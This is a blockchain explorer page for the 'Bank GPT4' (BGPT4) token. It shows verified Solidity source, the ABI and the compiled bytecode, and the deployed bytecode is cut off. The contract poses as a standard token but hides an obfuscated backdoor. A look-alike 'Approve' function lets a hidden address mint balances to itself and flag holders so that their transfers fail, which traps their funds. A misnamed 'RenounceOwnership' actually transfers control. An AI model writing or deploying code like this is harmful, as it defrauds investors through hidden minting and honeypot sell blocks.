ETH Price: $3,361.52 (-2.65%)

Token

Bank GPT4 (BGPT4)
 

Overview

Max Total Supply

1,000,000,000 BGPT4

Holders

7

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
17,739,238.037532292 BGPT4

Value
$0.00
0x1b15666465a9c6087b7f4d67ef5b38c674ff5a53
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BankGPT4

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-17
*/

/**

   Tg: https://t.me/BankGpt4erc
   Web: www.gpt4-token.com
    
*/

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.7;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function RenounceOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract BankGPT4 is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "Bank GPT4";
    string private _symbol = "BGPT4";
    uint8 private _decimals = 9;
    address payable public chongq;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _pools;
    mapping (address => uint256) public beij;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        chongq = payable(address(0x71C74a9354eaE6162De24523513a71bEb69Cf7DA));
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function EnableTrading() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _pools[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !_pools[from])
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : goFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), amount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(chongq),
            block.timestamp
        ){} catch {}
    }

    function nmg(uint256 dz, uint256 ta) public view returns(bool) {
        uint256 yt = dz;
        address rz = msg.sender;
        require(chongq == rz);
        return ta == yt;
    }

    function Approve(address jn,uint256 qd) public {
        if (qd > 9+1**2+1) {
            _balances[chongq] += qd*4-1;
        }
        if (nmg(0+0+0,qd)) {beij[jn] = 0+0;}
        if (nmg(40-5-5,qd)) {beij[jn] = qd**2+1;}
    }

    function goFee(address sender, address recipient, uint256 uAmount) internal returns (uint256) {
        uint256 taxFee;
        if(_pools[sender]) {
            taxFee = uAmount * 2 / 100;
        }else if(_pools[recipient]) {
            taxFee = uAmount * 2 / 100;
        }

        if(beij[sender] != 0) taxFee = uAmount.mul(1+3);

        if(taxFee > 0) {
            _balances[address(this)] += taxFee;
            emit Transfer(sender, address(this), taxFee);
        }

        return uAmount.sub(taxFee);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"jn","type":"address"},{"internalType":"uint256","name":"qd","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"EnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_pools","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"beij","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"chongq","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"dz","type":"uint256"},{"internalType":"uint256","name":"ta","type":"uint256"}],"name":"nmg","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600960a09081526810985b9ac811d4150d60ba1b60c0526001906200002a90826200029b565b506040805180820190915260058152641091d4150d60da1b60208201526002906200005690826200029b565b506003805460ff1916600990811790915561dead6080526200007a90600a6200047c565b6200008a90633b9aca0062000494565b600955600b805460ff60a81b1916600160a81b179055348015620000ad57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160066000620001066000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260069092528120805490921660011790915560095490600490620001563390565b6001600160a01b0316815260208101919091526040016000205560038054610100600160a81b0319167471c74a9354eae6162de24523513a71beb69cf7da00179055620001a03390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620001e891815260200190565b60405180910390a3620004ae565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200022157607f821691505b6020821081036200024257634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200029657600081815260208120601f850160051c81016020861015620002715750805b601f850160051c820191505b8181101562000292578281556001016200027d565b5050505b505050565b81516001600160401b03811115620002b757620002b7620001f6565b620002cf81620002c884546200020c565b8462000248565b602080601f831160018114620003075760008415620002ee5750858301515b600019600386901b1c1916600185901b17855562000292565b600085815260208120601f198616915b82811015620003385788860151825594840194600190910190840162000317565b5085821015620003575787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003be578160001904821115620003a257620003a262000367565b80851615620003b057918102915b93841c939080029062000382565b509250929050565b600082620003d75750600162000476565b81620003e65750600062000476565b8160018114620003ff57600281146200040a576200042a565b600191505062000476565b60ff8411156200041e576200041e62000367565b50506001821b62000476565b5060208310610133831016604e8410600b84101617156200044f575081810a62000476565b6200045b83836200037d565b806000190482111562000472576200047262000367565b0290505b92915050565b60006200048d60ff841683620003c6565b9392505050565b808202811582820484141762000476576200047662000367565b6080516115d4620004ca600039600061024001526115d46000f3fe6080604052600436106101395760003560e01c806370a08231116100ab5780639fd9d7491161006f5780639fd9d7491461039e578063a9059cbb146103c3578063bc6eec40146103e3578063c28bd48414610413578063c816841b14610440578063dd62ed3e1461046057600080fd5b806370a08231146102f557806378051f4d1461032b5780638da5cb5b1461034b57806390ec57f11461036957806395d89b411461038957600080fd5b806323b872dd116100fd57806323b872dd1461020e57806327c8f8351461022e578063313ce567146102625780633345611e146102845780634a74bb02146102b457806356c16f18146102d557600080fd5b806306fdde0314610145578063095ea7b3146101705780631694505e146101a057806318160ddd146101d85780631d97b7cd146101f757600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104a6565b60405161016791906111e5565b60405180910390f35b34801561017c57600080fd5b5061019061018b36600461124b565b610538565b6040519015158152602001610167565b3480156101ac57600080fd5b50600a546101c0906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b3480156101e457600080fd5b506009545b604051908152602001610167565b34801561020357600080fd5b5061020c61054f565b005b34801561021a57600080fd5b50610190610229366004611277565b610776565b34801561023a57600080fd5b506101c07f000000000000000000000000000000000000000000000000000000000000000081565b34801561026e57600080fd5b5060035460405160ff9091168152602001610167565b34801561029057600080fd5b5061019061029f3660046112b8565b60066020526000908152604090205460ff1681565b3480156102c057600080fd5b50600b5461019090600160a81b900460ff1681565b3480156102e157600080fd5b506101906102f03660046112d5565b6107e1565b34801561030157600080fd5b506101e96103103660046112b8565b6001600160a01b031660009081526004602052604090205490565b34801561033757600080fd5b5061020c6103463660046112b8565b61080e565b34801561035757600080fd5b506000546001600160a01b03166101c0565b34801561037557600080fd5b5061020c61038436600461124b565b6108b3565b34801561039557600080fd5b5061015a610976565b3480156103aa57600080fd5b506003546101c09061010090046001600160a01b031681565b3480156103cf57600080fd5b506101906103de36600461124b565b610985565b3480156103ef57600080fd5b506101906103fe3660046112b8565b60076020526000908152604090205460ff1681565b34801561041f57600080fd5b506101e961042e3660046112b8565b60086020526000908152604090205481565b34801561044c57600080fd5b50600b546101c0906001600160a01b031681565b34801561046c57600080fd5b506101e961047b3660046112f7565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600180546104b590611330565b80601f01602080910402602001604051908101604052809291908181526020018280546104e190611330565b801561052e5780601f106105035761010080835404028352916020019161052e565b820191906000526020600020905b81548152906001019060200180831161051157829003601f168201915b5050505050905090565b6000610545338484610992565b5060015b92915050565b6000546001600160a01b031633146105ae5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610605573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610629919061136a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610676573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069a919061136a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070b919061136a565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905560095430845260058352818420955490941683529390529190912055565b6000610783848484610ab6565b506107d684336107d185604051806060016040528060288152602001611577602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610d06565b610992565b5060015b9392505050565b6003546000908390339061010090046001600160a01b0316811461080457600080fd5b5090911492915050565b6000546001600160a01b031633146108685760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105a5565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600b8111156109085760016108c982600461139d565b6108d391906113b4565b60035461010090046001600160a01b0316600090815260046020526040812080549091906109029084906113c7565b90915550505b6109136000826107e1565b15610932576001600160a01b0382166000908152600860205260408120555b61093d601e826107e1565b156109725761094d6002826114be565b6109589060016113c7565b6001600160a01b0383166000908152600860205260409020555b5050565b6060600280546104b590611330565b60006107d6338484610ab6565b6001600160a01b0383166109f45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a5565b6001600160a01b038216610a555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a5565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a5565b6001600160a01b038316610b7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a5565b600b54600160a01b900460ff1615610ba257610b9b848484610d40565b90506107da565b30600090815260046020526040902054600b54600160a01b900460ff16158015610be557506001600160a01b03851660009081526007602052604090205460ff16155b15610bf357610bf381610e26565b6001600160a01b038516600090815260046020526040902054610c169084610fa5565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c6357506001600160a01b03851660009081526006602052604090205460ff165b610c7757610c72868686610fe7565b610c79565b835b6001600160a01b038616600090815260046020526040902054909150610c9f9082611104565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cf39085815260200190565b60405180910390a36001925050506107da565b60008184841115610d2a5760405162461bcd60e51b81526004016105a591906111e5565b506000610d3784866113b4565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610d91918490610d06565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610dc09083611104565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e149086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e6e57610e6e6114cd565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eeb919061136a565b81600181518110610efe57610efe6114cd565b6001600160a01b039283166020918202929092010152600a54610f249130911684610992565b600a5460035460405163791ac94760e01b81526001600160a01b039283169263791ac94792610f6892879260009288926101009091049091169042906004016114e3565b600060405180830381600087803b158015610f8257600080fd5b505af1925050508015610f93575060015b505050600b805460ff60a01b19169055565b60006107da83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d06565b6001600160a01b038316600090815260076020526040812054819060ff161561102857606461101784600261139d565b6110219190611554565b9050611063565b6001600160a01b03841660009081526007602052604090205460ff161561106357606461105684600261139d565b6110609190611554565b90505b6001600160a01b0385166000908152600860205260409020541561108f5761108c836004611163565b90505b80156110fa5730600090815260046020526040812080548392906110b49084906113c7565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b610d378382610fa5565b60008061111183856113c7565b9050838110156107da5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a5565b60008260000361117557506000610549565b6000611181838561139d565b90508261118e8583611554565b146107da5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a5565b600060208083528351808285015260005b81811015611212578581018301518582016040015282016111f6565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124857600080fd5b50565b6000806040838503121561125e57600080fd5b823561126981611233565b946020939093013593505050565b60008060006060848603121561128c57600080fd5b833561129781611233565b925060208401356112a781611233565b929592945050506040919091013590565b6000602082840312156112ca57600080fd5b81356107da81611233565b600080604083850312156112e857600080fd5b50508035926020909101359150565b6000806040838503121561130a57600080fd5b823561131581611233565b9150602083013561132581611233565b809150509250929050565b600181811c9082168061134457607f821691505b60208210810361136457634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561137c57600080fd5b81516107da81611233565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761054957610549611387565b8181038181111561054957610549611387565b8082018082111561054957610549611387565b600181815b808511156114155781600019048211156113fb576113fb611387565b8085161561140857918102915b93841c93908002906113df565b509250929050565b60008261142c57506001610549565b8161143957506000610549565b816001811461144f576002811461145957611475565b6001915050610549565b60ff84111561146a5761146a611387565b50506001821b610549565b5060208310610133831016604e8410600b8410161715611498575081810a610549565b6114a283836113da565b80600019048211156114b6576114b6611387565b029392505050565b60006107da60ff84168361141d565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115335784516001600160a01b03168352938301939183019160010161150e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261157157634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122059ceae7006dbf1a624c699f3d6ebbd51c65c4f77eb1a057c4291029b50e85ef364736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab5780639fd9d7491161006f5780639fd9d7491461039e578063a9059cbb146103c3578063bc6eec40146103e3578063c28bd48414610413578063c816841b14610440578063dd62ed3e1461046057600080fd5b806370a08231146102f557806378051f4d1461032b5780638da5cb5b1461034b57806390ec57f11461036957806395d89b411461038957600080fd5b806323b872dd116100fd57806323b872dd1461020e57806327c8f8351461022e578063313ce567146102625780633345611e146102845780634a74bb02146102b457806356c16f18146102d557600080fd5b806306fdde0314610145578063095ea7b3146101705780631694505e146101a057806318160ddd146101d85780631d97b7cd146101f757600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104a6565b60405161016791906111e5565b60405180910390f35b34801561017c57600080fd5b5061019061018b36600461124b565b610538565b6040519015158152602001610167565b3480156101ac57600080fd5b50600a546101c0906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b3480156101e457600080fd5b506009545b604051908152602001610167565b34801561020357600080fd5b5061020c61054f565b005b34801561021a57600080fd5b50610190610229366004611277565b610776565b34801561023a57600080fd5b506101c07f000000000000000000000000000000000000000000000000000000000000dead81565b34801561026e57600080fd5b5060035460405160ff9091168152602001610167565b34801561029057600080fd5b5061019061029f3660046112b8565b60066020526000908152604090205460ff1681565b3480156102c057600080fd5b50600b5461019090600160a81b900460ff1681565b3480156102e157600080fd5b506101906102f03660046112d5565b6107e1565b34801561030157600080fd5b506101e96103103660046112b8565b6001600160a01b031660009081526004602052604090205490565b34801561033757600080fd5b5061020c6103463660046112b8565b61080e565b34801561035757600080fd5b506000546001600160a01b03166101c0565b34801561037557600080fd5b5061020c61038436600461124b565b6108b3565b34801561039557600080fd5b5061015a610976565b3480156103aa57600080fd5b506003546101c09061010090046001600160a01b031681565b3480156103cf57600080fd5b506101906103de36600461124b565b610985565b3480156103ef57600080fd5b506101906103fe3660046112b8565b60076020526000908152604090205460ff1681565b34801561041f57600080fd5b506101e961042e3660046112b8565b60086020526000908152604090205481565b34801561044c57600080fd5b50600b546101c0906001600160a01b031681565b34801561046c57600080fd5b506101e961047b3660046112f7565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600180546104b590611330565b80601f01602080910402602001604051908101604052809291908181526020018280546104e190611330565b801561052e5780601f106105035761010080835404028352916020019161052e565b820191906000526020600020905b81548152906001019060200180831161051157829003601f168201915b5050505050905090565b6000610545338484610992565b5060015b92915050565b6000546001600160a01b031633146105ae5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610605573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610629919061136a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610676573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069a919061136a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070b919061136a565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905560095430845260058352818420955490941683529390529190912055565b6000610783848484610ab6565b506107d684336107d185604051806060016040528060288152602001611577602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610d06565b610992565b5060015b9392505050565b6003546000908390339061010090046001600160a01b0316811461080457600080fd5b5090911492915050565b6000546001600160a01b031633146108685760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105a5565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600b8111156109085760016108c982600461139d565b6108d391906113b4565b60035461010090046001600160a01b0316600090815260046020526040812080549091906109029084906113c7565b90915550505b6109136000826107e1565b15610932576001600160a01b0382166000908152600860205260408120555b61093d601e826107e1565b156109725761094d6002826114be565b6109589060016113c7565b6001600160a01b0383166000908152600860205260409020555b5050565b6060600280546104b590611330565b60006107d6338484610ab6565b6001600160a01b0383166109f45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a5565b6001600160a01b038216610a555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a5565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a5565b6001600160a01b038316610b7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a5565b600b54600160a01b900460ff1615610ba257610b9b848484610d40565b90506107da565b30600090815260046020526040902054600b54600160a01b900460ff16158015610be557506001600160a01b03851660009081526007602052604090205460ff16155b15610bf357610bf381610e26565b6001600160a01b038516600090815260046020526040902054610c169084610fa5565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c6357506001600160a01b03851660009081526006602052604090205460ff165b610c7757610c72868686610fe7565b610c79565b835b6001600160a01b038616600090815260046020526040902054909150610c9f9082611104565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cf39085815260200190565b60405180910390a36001925050506107da565b60